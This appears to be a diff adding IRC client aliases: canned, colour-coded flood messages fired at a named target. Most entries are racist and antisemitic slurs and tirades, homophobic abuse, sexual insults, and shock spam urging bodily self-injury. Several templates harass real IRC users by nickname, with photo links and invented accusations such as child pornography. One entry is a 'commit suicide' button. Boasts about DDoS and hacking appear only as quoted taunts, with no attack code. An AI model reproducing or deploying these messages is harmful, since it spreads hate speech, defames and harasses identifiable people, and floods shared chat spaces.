+  albot8 = "say \00311,12 hey \00301,13 $* \00312,10 im \00301,13 5`6 \00309,01 62lbs \00308,01 sexy \00301,13 as \00308,04 juxtapozinged \00301,13 an \00312,10 im \00308,01 single \00311,12 lookin \00308,04 fa \00301,13 da \00311,03 right \00309,01 7-11 \00308,01 employees \00309,01 ta \00301,13 pickle, \00311,03 so \00312,10 if \00308,04 u \00311,12 liken \00308,04 wat \00309,01 u \00312,10 see \00309,01 wash \00301,13 at \00309,01 me \00308,04 an \00311,12 well \00308,01 do \00308,04 da \00301,13 cock \00311,03 to \00312,10 cock ";
+  albot9 = "say \0034,1 A \003\00312,8 gay \003\0039,12 shitty \003\00313,1 deadly \003\00311,13 army \003\0039,1 and \0031,13 smelly \0039,1 shit \0038,4 with \00312,11 hung \0038,1 good \0031,13 smelly \0039,1 shit \0038,4 for \00312,11 mom. \017";
+  # }}}
+  # {{{|- buttes
+  rune = "say FUCK $*\\; $* SUX\\; $* IS DYING\\; $* IS DEAD TO ME\\; $* HIT WTC";
+  unrune = "say <3 $*\\; $* DOES NOT SUCK\\; $* IS NOT DYING\\; $* IS NOT DEAD TO ME\\; $* DID NOT HIT WTC";
+
+  chirpn = "say mup da doo didda po mo gub bidda be dat tum muhfugen bix nood cof bin dub ho muhfugga";
+  masturbate = "say \026TWO FOUR SIX EIGHT GRAB YOUR DICKS AND MASTURBATE";
+  bust = "say @@@ MACRO BUSTER @@@";
+  ror = "say \0034,8^_^\003 \0034,0KOREAN RAUGH OUT ROUD\003 \00311kekeke";
+  chinee = "say \0031,9---|==|=:<\003 \002YUMMY CHINEE";
+  clocodile = "say \0031,8'_'\003 \002OH NO CLOCODILE";
+  clocodile2 = "say \0031,8^_^\003 \002YUMMY CLOCODILE";
+  blax = "say AROUND BLAX, NEVER RELAX";
+  butte = "say COCKES IN THE BUTTE, URMOM IS A SLUTTE";
+  coqarc = "say \002\0034,12IF WE TOUCH DICKS THERE WILL BE AN ARC";
+  # }}}
+  # {{{|- #arab
+  zGehWeg = "say geh verpuss i dich damit alter sorry ich mag dich lol.";
+  rxPruegel = "me pruegelt $* mal \00313,7zaertlich\003 die treppe runter \\;<";
+  rxKuschel = "me reibt sich \00313zaertlich\003 an $* ";
+  rxHamster = "me knabbert an $*";
+  rxNag = "me nagt an $*";
+  rxTroll = "say I AM THE VAN GOGH OF TROLLING AND http://ridgex.net/~tati/gb/ IS MY CANVAS SIR";
+  klawd = "say qry close.";
+  # }}}
+  # {{{|- actions
+  melon = "me is on $* like \002\0031,1#\0030,5:\0034,5)\003\002 \002\0031,1#\0030,5:\0034,5)\003\002 NIGGERS \002\0034,5(\0030,5:\0031,1#\003\002 \002\0034,5(\0030,5:\0031,1#\003\002 on \002\0039,3|\0031,4WATAMELONS\0039,3|\003\002!";
+  poz = "say \002\0031,1-\0030,5\\;\0034,5)\003\002 \0031,8\002 \037/!\\\\\037\002 I am be shootin \002ULTRA-CREAMY NIGGER POZ\002 at $* as though he be a white wimmin! \002\037/!\\\\\002\037 \003 ~\0036+\003 ~\0034+\003 ~\0037+\003\002 $* \002\0038+\003~ \0039+\003~ \00312+\003~ \0030,1\002*SPLAT!*\002\003 WELCOME TO \002\0031,4G\0031,7R\0031,8I\0031,9D\0031,12S\003\002, SWEETIE! \002\0031,1-\0030,5:\0034,5P\003\002 \0039,9OI\0031,1vera \0038,1boger for president 2008 \0031,1 vote often\003 \002\0034,5O\0030,5:\0031,1-\003\002 ";
+  poz2 = "say \002\0031,1#\0030,5X\0034,5D\003\002 \0030~\0036G \0030~\0034R \0030~\0037I \0030~\0038D \0030~\0039S \0030~\00312+ \00313,7(\00311,7:\0038,8#\003 \037/\\\\\037 \002POZZING: \0036[\0033|||100%|||\0036]\003 \0034COMPLETE\003\002 \037/\\\\\037\002\00310 $* has poz!";
+  poz3 = "say BIG \0030,1 ~+ \0038,1\002POZZY\002\0030,1 +~ \003 GAY HUGS FOR \002\0034{\0037{\0038{\0039{\00312{\0036{\003\002 \0038,8#\00311,7\\;\0034,7)\003 \00313\002 $* \002\003 \0034,7(\00311,7:\0038,8#\003 \002\0034}\0037}\0038}\0039}\00312}\0036}\003\002";
+  poz4 = "me poz \0034 $* ";
+  # }}}
+
+  # {{{|- innanet relay blogs
+  blogc = "say [ Add a comment to this blog entry ]";
+  comment = "say \0030,1                               _______________________         ____________________          __________;say \0031,1http://a.on.nimp.org/blog.php#\0030,1[\037_Add_a_Comment_to_Blog \037]       [\037 Add to del.icio.us \037]        [\037 digg it! \037]";
+  comment2 = "say ,-,    ,__________________________________________,;say | |   |                                           |;say O O  <  Hi! It looks like you're blogging on IRC. |;say |U|   | Would you like to:                        |;say |  /  | [\002\037Add Comments\037\002]  [\002\037e-Mail this to a Friend\037\002] |;say `-'   |  [\002\037Digg This!\037\002]     [\002\037Submit to Slashdot\037\002]    |;say       |           [\002\037Add to del.icio.us\037\002]            |;say       |___________________________________________|";
+  comment3 = "say ,----------------------------[\002\037 Notice \037\002]------------------------------.;say |      BlogBar(tm) has detected an excessive amount of blogging.     |;say |  [\002\037Add a Comment\037\002]  [\002\037e-mail This to a Friend\037\002]  [\002\037Visit my Tag Cloud\037\002]  |;say |   [\002\037Digg This!\037\002]      [\002\037Submit to Slashdot\037\002]      [\002\037Submit to reddit\037\002]   |;say |        [\002\037Bookmark with del.icio.us\037\002]   [\002\037Add to stumbleupon\037\002]          |;say `--------------------------------------------------------------------'";
+  comment4 = "say $*: Hi! It looks like you're blogging on IRC. Would you like to: \002[\002\037Add Comments\037\002]\002  \002[\002\037e-Mail this to a Friend\037\002]\002 \002[\002\037Digg This!\037\002]\002 \002[\002\037Submit to Slashdot\037\002]\002 \002[\002\037Add to del.icio.us\037\002]\002 \002[\002\037\0034Commit suicide because nobody cares\003\037\002]\002";
+  # }}}
+  # {{{|- AZN PRIDE ^__^
+  azn = "say $*: fuck you all AZN PRYDE TRIAD WITH 500k ppl fkin bigest gang in the world fuckers AZN 4 LYFE";
+  azn2 = "say $*: Wow, people yell WHITE POWER like the KKK has actually done anything useful lately. Neo Nazis have a little more to show, Watch American History X stupid ass crackers. [Yes Im white, and no, I dont like Niggers, Black people are fine, but there is a BIG ass difference between the two.] So before you Yell WHITE POWER, Realize the KKK are a bunch of unorganized hillbillies who do nothing but walk in a bathrobe and talk about what they hate.";
+  azn3 = "say $*: Every place has an crime. Your just talking stupid. Why would you care about the major city, where black people live. You so damn scared of black people, you wouldn't last in the city without a black person. Yall white people swear you smart. Tell me about white kids shooting school's or white man rapes little kids in church. Talk about how bad about your race, before talking about ours. You Fag.";
+  azn4 = "say $*: i have yet to have a white boy cal me nigger in my face.I've bitch slapped cut them off while driving, smacked them in the back of their heads and call them pussy to their faces....yet, they just stay quiet or walk away.......in here you coward got mouth";
+  azn5 = "say \0034Russians are most strongest in the world you son of a fucking american shit!!! And Russia will kick your fucking ass over and over!";
+  azn6 = "say $*: YOU ARE THE BIGGEST FUCKING GROUP OF UTTER. FUCKING. IDIOTIC. SHIT EATING. CIRCLEJERK. FAGGOTS. EVER. TO. WALK. THE. EARTH. NOTHING YOU SAY TO ME CAN HURT ME AT ALL! YOU ARE NOT INTELLIGENT, EDGY OR COOL, YOU ARE JUST A PATHETIC FUCKING PIECES OF SHIT WHO LIKE TO BELLITLE OTHERS OVER THE INTERNET TO FEEL BETTER ABOUT THEMSELVES. FUCK YOU!!!!!!!!!!!!";
+  azn7 = "say $*: \002I am lo\0370\037king for a hacker community... Hopeing not one im going to walk into and be ridaculed or intruded and not have my box damaged.";
+  azn8 = "say $*: ur the gayest faggot in the world. ur a fake ass pussy with ur bb gun MP5 (with an orange barrel) not ak jackass. u just need to do us all a favor and shoot urself in the face with 12 gauge slug, goddamnit that shits hillarious with ur fake accent, get real and grow up little bitch";
+  azn9 = "say $*: there's only one cure for the old-chatter blues, re-mortgage your house, to a bunch of jews. Hock your tv, your watch, your car, bury your computer and run as far, as your nerd legs can carry you, and hide in a ditch, even squatting in slime is better than being someone's chat bitch. ";
+  azna = "say You don't think I see what you're trying to do here? You think I'm gonna sit here and smile while some fuckin' kike tries to fuck my mother? It's never gonna happen $*, fuckin' forget it, not on my watch, not while I'm in this family. I will fuckin' cut your Shylock nose off and stick it up your ass before I let that happen. Coming in here and poisoning my family's dinner with your Jewish, nigger-loving, hippie bullshit. Fuck you! Fuuck you! Yeah, walk out, asshole, fuckin' Kabbalah reading motherfucker. Get the fuck outof my house.";
+  aznb = "say #real, #theghetto, #the_street...umm wait aren't those all wigger chan names? didn't you just shoot yourself in the foot by mentioning it? god your so dumb you didn't even think about that. have fun being a comedy man with your small group of fellow ugly people on EFnet IRC...how long are u guys going to keep this up? get a job or a girlfriend or something...losers";
+  aznc = "say $*: Its just a sword, turn your xbox off, take a shower, put on some nice clothes and then go outside and find yourself a nice lady who will lend you access to her vagina on a semi-regular basis you fucking nerds.";
+  aznd = "say $*: ur the gayest faggot in the world. ur a fake ass pussy with ur bb gun MP5 (with an orange barrel) not ak jackass. u just need to do us all a favor and shoot urself in the face with 12 gauge slug, goddamnit that shits hillarious with ur fake accent, get real and grow up little bitch";
+  azne = "say $* u fake asiatic quaint ass second order logic chatch u think it's cool 2 spray aks all day bt really i only cum tu zurrealist nightmares";
+  aznf = "say $Z <$0> i put my hands back and go kameeeeeeehameeeeeeeehaaaaaaaaaaaa and i try to shoot it i dont see it but i could feel the forc e of it (im training it now so i can see it) and shawn backed up a bit so i coul dtell him i hit him wiht it too then he turned around and walked awya cuz he was scared and evry1 in the gruop walked away too and my friends all come up to me and start saying stuff like good job and my friend chris says dude your hair turned blonde";
+  # }}}
+  # {{{|- james & #null
+  james = "say Look $*, i fucking card servers, shells, ddos shit every day, hack into .govs. the day the feds come to my door, first words out of my mouth: finally.";
+  james2 = "say hay look $* i fucken card servesr shells dude ddos shit every day ok hack into .govs u fukn punk ass bitch the day the feds come to my door first words out of my mouth: finally so dont even think of fucking with me fagget";
+  james3 = "say $*: nigga i got ssh boxes lined up across my screen like 30 4 realz i got mad boxes like nobodys business";
+  james4 = "say $*: i dont even care nemore i got all the shit u got dude all the fuken scripts DDoS shit etc k";
+  james5 = "say $*: loL what ever dude could have root on there box an if u told them they wuold say ur lieing til you kill the pid of there server nigga im a fuckin gangsta";
+  james6 = "say $*: nigga ill fuck your binary ass up LoL ill make all your 1's turn to 0's";
+  # }}}
+  # {{{|- bonny
+  br = "say $*: is better to you be nice";
+  br2 = "say $*: i drop all ipv4 on internet i'm father of ddos, and you need respect me because i'm people like you mother fucker";
+  br3 = "say IS BETTER TO YOU BE NICE\0032IS BETTER TO YOU BE NICE\0033IS BETTER TO YOU BE NICE\0034IS BETTER TO YOU BE NICE\0035IS BETTER TO YOU BE NICE\0036IS BETTER TO YOU BE NICE\0037IS BETTER TO YOU BE NICE\0038IS BETTER TO YOU BE NICE\0039IS BETTER TO YOU BE NICE\00310IS BETTER TO YOU BE NICE\00311IS BETTER TO YOU BE NICE\00312IS BETTER TO YOU BE NICE\00313IS BETTER TO YOU BE NICE";
+  br4 = "say $*: if you did this again you'll never come back to efnet ";
+  br5 = "say $*: hahaha look the from ip asshole, i'll packet well, let the war begin";
+  br6 = "say $*: are you tryign to joke me ?";
+  br7 = "say $* is banned forever and now ? do you want be banned too ? botnet perm ban do not try to remove are you retarded ?";
+  # }}}
+  # {{{|- pakis
+  ultimate = "say $*: tell you what , i`m gona fuck ur sister at gunpoint u stupid fuken faggot just because i come here for fun and have a clear mind u think i`m really fucking stupid";
+  ultimate2 = "say $*: i`m fucking more educated than u or anyone in ur family you fucking homo try going out of ur fucking house and get in to a decent university for a change";
+  ultimate3 = "say $*: u are just a fuckn stupid arab like all the other 99% who have nothing better to do because they are too stupid to even pass high school so they flood ppl here at irc";
+  # }}}
+  # {{{|- crapflood
+  new = "say \0038,3 S\0039ince \0038,6 I\0039'm \0038,3 N\0039ew \0038,6 T\0039o \0038,3 L\0039ist \0038,6 I \0038,3 C\0039an't \0038,6 S\0039tart \0038,3 B\0039ut \0038,6 S\0039aying \0038,3 H\0039ello \0038,6 $* ";
+  panis = "say \0030,4 my panis do not up and i have a problem with my penny balls ";
+  nigita = "say \0031,8(: Virgin Lolita Girl Last Night go to BAR.\0030,12 Pizza man FUCKED girl to toilet.All of there \0032,4 blood.\0030,1See you Photo visit=>>\0030,12 http://pizzasex.nigx.ne";
+  damage = "say \002\0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ## \0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ## \0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ## \0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ## \0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ##";
+  oontz = "say \002\0034thEr \0035Iz \0037oNlY \00361 \0032ThInG \00312taHT \00311uNiTeZ \00310uS \0039aLL \00314rEgArDlEsS \0030oF \0032RaCe, \0033ReLiGOIn \0034oR \0035CoLeR\0039............. \00311aNd \00312tHaT \00313is \037\0034O0NTZ BEATZ!!!!!!!!!";
+  happyland = "say \0034=\0039-\0034=\0039-\0034=\0039-\0034=\0039- \00313hAPPY!11 LAND1211 \0034=\0039-\0034=\0039-\0034=\0039-\0034=\0039-";
+  stfy = "say \0034,8\002SHUT \037THE\037 FUCK \037YOU\037|";
+  shutup = "say \00315,10IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP";
+  thugz = "say \0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$ \0034THUGZ 4 LIFE WORD\003 \0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$ ";
+  ircdongs = "say \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s";
+  urmamma = "say \0037HeY YO MaMMA In Da LUnCH SerVEs DA ChEEzzBuRGA";
+  hodapp = "say \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O";
+  hipvan = "say \002\037\0034,7hippie van at \0038,4 300 mph!111";
+  irchax = "say \002\037\003\0034,8\0038,4unauthorized irc entry111\0034,8";
+  # }}}
+  # {{{|- fuken ignored
+  pign = "say $*: I have put you on a permanent ignore, public and private. I have found you disturbing, rude and generally not worth talking to. According to the channels you hang on, it strengtens the effect of wanting to put you on ignore because of my lack of interest in you as a person. This message is not meant to be rude to you, just to inform you that i won't see anything of what you type from now on.";
+  pign2 = "say $*: Congratulations, prick, you've just made my ignore list. Was it worth it to you to make your \"witty\" comments and snide in-jokes to your irc pals about me if it meant you are now disappeared from my online experience? Have a nice life.";
+  pign3 = "say $* i hate u. i've never met a person who's as unfeeling and unkind as you. You might think that you are \"tough\" and a \"troll\" but the truth is that you're missing something important in life. If I wish, I could cut you out of my life at this very moment, after all all it takes is to \"/ignore +$*\". But unlike you, I am a human being who does believe that people can change - for good, in your case.";
+
+  gign1 = "say Before you listen to any more drivel by avrFreak, take a look at who you're dealing with: http://users.telenet.be/AVRfreak/diverse%20fotos/ik.jpg The abortion in the picture is avrFreak. I won't even get into discussion about his obsession with trains and ZigBee. This faggot has nothing better to do than sit on the internet and spew worthless garbage. He's the new flyback when it comes to being totally useless.;say Not to mention all he ever does is flood #electronics with senseless typing and talks about his \"projects\" he will never get done and other shit nobody cares about. Do the world a favor and type /ignore avrFreak";
+  gign2 = "say Before you listen to any more drivel by bedpan, take a look at who you're dealing with: http://www.dsherwood-guitartuition.co.uk/retard.jpg The abortion in the picture is bedpan. I won't even get into discussion about his child pornography. This faggot has nothing better to do than sit on the internet and spew worthless garbage. He's the new areems when it comes to being totally useless.;say Not to mention all he ever does is kiss timecop's ass and talk about shit no one cares. Do the world a favor and type /ignore bedpan";
+  gign3 = "say Before you listen to any more drivel by jax, take a look at who you're dealing with: http://pbx.mine.nu/fattie.jpg The abortion in the picture is jax. I won't even get into discussion about her obsession with rats. This fattie has nothing better to do than sit on CGI:IRC at work and spew worthless garbage. She's the new bedpan when it comes to being totally useless.;say Not to mention all she ever does is suck Jmax's cock and talk about shit no one cares. Do the world a favor and type /ignore jax and /ignore jax_xerox";
+  gign4 = "say Before you listen to any more drivel by ohsix, take a look at who you're dealing with: http://image.guardian.co.uk/sys-images/Guardian/Pix/gallery/2001/11/20/Beatles010.jpg The abortion in the picture is ohsix. I won't even get into discussion about his obsession with AMD and other dead hardware. This faggot has nothing better to do than sit on the internet and spew worthless garbage. He's the new qpt when it comes to being totally useless.;say Not to mention all he ever does is flood #GNAA with shit like \"C600???\" and talks about useless trash like Lunix and other shit nobody cares about. Do the world a favor and type /ignore ohsix";
+  gign5 = "say Before you listen to any more drivel by pitz_, take a look at who you're dealing with: http://www.in-forum.com/gfx/photos/stories/20060226pitz-john.jpg The abortion in the picture is pitz_. I won't even get into discussion about his obsession lol'g and dodge trucks. This faggot has nothing better to do than sit in #electronics all day and promote his sucky religion. He's the new avrFreak when it comes to being totally useless.;say Not to mention all he ever does is talk about SUKI(tm) and other shit no one cares. Do the world a favor and type /ignore pitz_";
+  gign6 = "say Before you listen to any more drivel by qpt, take a look at who you're dealing with: http://www.dsherwood-guitartuition.co.uk/retard.jpg The abortion in the picture is qpt. I won't even get into discussion about his obsession with Arizona highways. This faggot has nothing better to do than sit on the internet and spew worthless garbage. He's the new bedpan when it comes to being totally useless.;say Not to mention all he ever does is flood #GNAA with gang signs and talks about k5 and other shit nobody cares about. Do the world a favor and type /ignore qpt";
+  gign7 = "say Before you listen to any more drivel by supers, take a look at who you're dealing with: http://usuarios.lycos.es/sonicspage/supers.jpg . The abortion in the picture is 'supers'. I won't even get into discussion about him listing his 'nationality' as 'canadian' on his SHITTY animu site. This faggot has nothing better to do than get high, sit on the internet and spew generous amount of babble in pm to Jmax. He's the new DiKKy when it comes to being utterly us;say Not to mention all he ever does is smoke dope and abuse spambots in #gnaa. Do the world a favor and kill a canuck.";
+  gign8 = "say Before you listen to any more drivel by |gamester, take a look at who you're dealing with: http://tinyurl.com/3cn5gu. The vaginal puke in the picture is '|gamester'. I won't even get into discussion about him blogging miles of unintelligible and grammatically incorrect rants on 'PAKISTANI PRIDE'. This kike has nothing better to do than watch random, fan-subbed anime and blog to his best friend and favourite social reject ultimate-. He's the new ohsix when it comes to being utterly useless;say Not to mention all he ever does is teach NigBot how to speak mud languages nobody speaks. Do the world a favor and type /ignore |gamester";
+  # }}}
+  # {{{|- ripped from TAC0
+  mazel = "say \002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@#@ MAZEL TOV! #@#@#@#\003\002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@#@ MAZEL TOV! #@#@#@#\003\002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@#@ MAZEL TOV! #@#@#@#\003\002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@#@ MAZEL TOV! #@#@#@#\003\002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@#@ MAZEL TOV! #@#@#@#\003\002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@#@ MAZEL TOV! #@#@#@#\003\002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@";
+
+  diarrhea = "say \0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT";
+
+  fauxvag = "say \00312,4 FASHION A FAUX VAGINA BY DIGGING A HOLE INTO YOUR ABDOMEN THROUGH YOUR CHODE \0034,12 FASHION A FAUX VAGINA BY DIGGING A HOLE INTO YOUR ABDOMEN THROUGH YOUR CHODE\00312,4 FASHION A FAUX VAGINA BY DIGGING A HOLE INTO YOUR ABDOMEN THROUGH YOUR CHODE \0034,12 FASHION A FAUX VAGINA BY DIGGING A HOLE INTO YOUR ABDOMEN THROUGH YOUR CHODE\00312,4 FASHION A FAUX VAGINA BY DIGGING A HOLE INTO YOUR ABDOMEN THROUGH YOUR CHODE \0034,12 FASHION A FAUX VAGINA BY DIGGING A HOLE INTO YOUR";
+
+  bacardi = "say \0034,8INSERT BACARDI 151 INTO YOUR URETHRA WITH A TURKEY BASTER AND PISS FIRE OUT YOUR COCK LIKE A DRAGON \0038,4INSERT BACARDI 151 INTO YOUR URETHRA WITH A TURKEY BASTER AND PISS FIRE OUT YOUR COCK LIKE A DRAGON \0034,8INSERT BACARDI 151 INTO YOUR URETHRA WITH A TURKEY BASTER AND PISS FIRE OUT YOUR COCK LIKE A DRAGON \0038,4INSERT BACARDI 151 INTO YOUR URETHRA WITH A TURKEY BASTER AND PISS FIRE OUT YOUR COCK LIKE A DRAGON \0034,8INSERT BACARDI 151 INTO YOUR URETHRA WITH A TURK";
+
+  hitler = "say \0032,8 WHY BLAME HITLER FOR THE HOLOCAUST WHEN IT WAS REALLY \002\037 $* \002\037?? \0038,2 WHY BLAME HITLER FOR THE HOLOCAUST WHEN IT WAS REALLY \002\037 $* \002\037?? \0032,8 WHY BLAME HITLER FOR THE HOLOCAUST WHEN IT WAS REALLY \002\037 $* \002\037?? \0038,2 WHY BLAME HITLER FOR THE HOLOCAUST WHEN IT WAS REALLY \002\037 $* \002\037?? \0032,8 WHY BLAME HITLER FOR THE HOLOCAUST WHEN IT WAS REALLY \002\037 $* \002\037?? \0038,2 WHY BLAME HITLER FOR THE HOLOCAUST WHEN IT WAS REALLY \002\037 $* \002\037?? \0032,8 WHY BLAME HIT";
+
+  binladen = "say \00311,14 WHY BLAME BIN LADEN FOR 911 WHEN IT WAS REALLY \002\037 $* \002\037 ?? \00314,11 WHY BLAME BIN LADEN FOR 911 WHEN IT WAS REALLY \002\037 $* \002\037 ?? \00311,14 WHY BLAME BIN LADEN FOR 911 WHEN IT WAS REALLY \002\037 $* \002\037 ?? \00314,11 WHY BLAME BIN LADEN FOR 911 WHEN IT WAS REALLY \002\037 $* \002\037 ?? \00311,14 WHY BLAME BIN LADEN FOR 911 WHEN IT WAS REALLY \002\037 $* \002\037 ?? \00314,11 WHY BLAME BIN LADEN FOR 911 WHEN IT WAS REALLY \002\037 $* \002\037 ?? \00311,14 WHY BLAME BIN LADEN FOR 911 WHEN IT";
+
+  oswald = "say \00312,7 WHY BLAME OSWALD FOR KILLING KENNEDY WHEN IT WAS REALLY \002\037 $* \002\037?? \0037,12 WHY BLAME OSWALD FOR KILLING KENNEDY WHEN IT WAS REALLY \002\037 $* \002\037?? \00312,7 WHY BLAME OSWALD FOR KILLING KENNEDY WHEN IT WAS REALLY \002\037 $* \002\037?? \0037,12 WHY BLAME OSWALD FOR KILLING KENNEDY WHEN IT WAS REALLY \002\037 $* \002\037?? \00312,7 WHY BLAME OSWALD FOR KILLING KENNEDY WHEN IT WAS REALLY \002\037 $* \002\037?? \0037,12 WHY BLAME OSWALD FOR KILLING KENNEDY WHEN IT WAS REALLY \002\037 $* \002\037??";
+
+  saddam = "say \00313,11 WHY BLAME SADDAM FOR THE SLAUGHTER OF 100000 KURDS WHEN IT WAS REALLY \002\037 $* \002\037?? \00311,13 WHY BLAME SADDAM FOR THE SLAUGHTER OF 100000 KURDS WHEN IT WAS REALLY \002\037 $* \002\037?? \00313,11 WHY BLAME SADDAM FOR THE SLAUGHTER OF 100000 KURDS WHEN IT WAS REALLY \002\037 $* \002\037?? \00311,13 WHY BLAME SADDAM FOR THE SLAUGHTER OF 100000 KURDS WHEN IT WAS REALLY \002\037 $* \002\037?? \00313,11 WHY BLAME SADDAM FOR THE SLAUGHTER OF 100000 KURDS WHEN IT WAS REALLY \002\037 $* \002\037?? \00311";
+
+  clove = "say \00312,3 WHY BLAME COURTNEY LOVE FOR KURT COBAIN'S DEATH WHEN IT WAS REALLY \002\037 $* \002\037?? \0033,12 WHY BLAME COURTNEY LOVE FOR KURT COBAIN'S DEATH WHEN IT WAS REALLY \002\037 $* \002\037?? \00312,3 WHY BLAME COURTNEY LOVE FOR KURT COBAIN'S DEATH WHEN IT WAS REALLY \002\037 $* \002\037?? \0033,12 WHY BLAME COURTNEY LOVE FOR KURT COBAIN'S DEATH WHEN IT WAS REALLY \002\037 $* \002\037?? \00312,3 WHY BLAME COURTNEY LOVE FOR KURT COBAIN'S DEATH WHEN IT WAS REALLY \002\037 $* \002\037?? \0033,12 WHY BLAME COURTNE";
+
+  rip = "say \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF $* \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF $* \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF $* \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF $* \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF $* \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF $* \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF M";
+
+  shark = "say \00311,13 I'M A SHARK!! \0039,7 \002I'M A SHAAARRK!!!!\002 \0034,8 \002\037SUCK MY DIIICK\037!!!!!!\002 \00311,13 I'M A SHARK!! \0039,7 \002I'M A SHAAARRK!!!!\002 \0034,8 \002\037SUCK MY DIIICK\037!!!!!!\002 \00311,13 I'M A SHARK!! \0039,7 \002I'M A SHAAARRK!!!!\002 \0034,8 \002\037SUCK MY DIIICK\037!!!!!!\002 \00311,13 I'M A SHARK!! \0039,7 \002I'M A SHAAARRK!!!!\002 \0034,8 \002\037SUCK MY DIIICK\037!!!!!!\002 \00311,13 I'M A SHARK!! \0039,7 \002I'M A SHAAARRK!!!!\002 \0034,8 \002\037SUCK MY DIIICK\037!!!!!!\002 \00311,13 I'M A SHARK!! \0039,7 \002I'M A SHAAARRK!!!!\002 \0034,8 \002\037SUCK";
+
+  beelego = "say \0038,1 B \0031,8 E \0038,1 E \0031,8 S \0038,1 ! \0031,8 ! \003 \017\017\017 \017\017\017 \00312,11 L \0034,3 E \0038,12 G \0037,4 O \0033,12 S \003 \017\017\017 \017\017\017 \0038,1 B \0031,8 E \0038,1 E \0031,8 S \0038,1 ! \0031,8 ! \003 \017\017\017 \017\017\017 \00312,11 L \0034,3 E \0038,12 G \0037,4 O \0033,12 S \003 \017\017\017 \017\017\017 \0038,1 B \0031,8 E \0038,1 E \0031,8 S \0038,1 ! \0031,8 ! \003 \017\017\017 \017\017\017 \00312,11 L \0034,3 E \0038,12 G \0037,4 O \0033,12 S \003 \017\017\017 \017\017\017 \0038,1 B \0031,8 E \0038,1 E \0031,8 S \0038,1 ! \0031,8 ! \003 \017\017\017 \017\017\017 \00312,11 L \0034,3 E \0038,12 G \0037,4 O \0033,12 S \003 \017\017\017 \017\017\017 \0038,1 B \0031,8 E \0038,1 E \0031,8 S \0038,1 ! \0031,8";
+
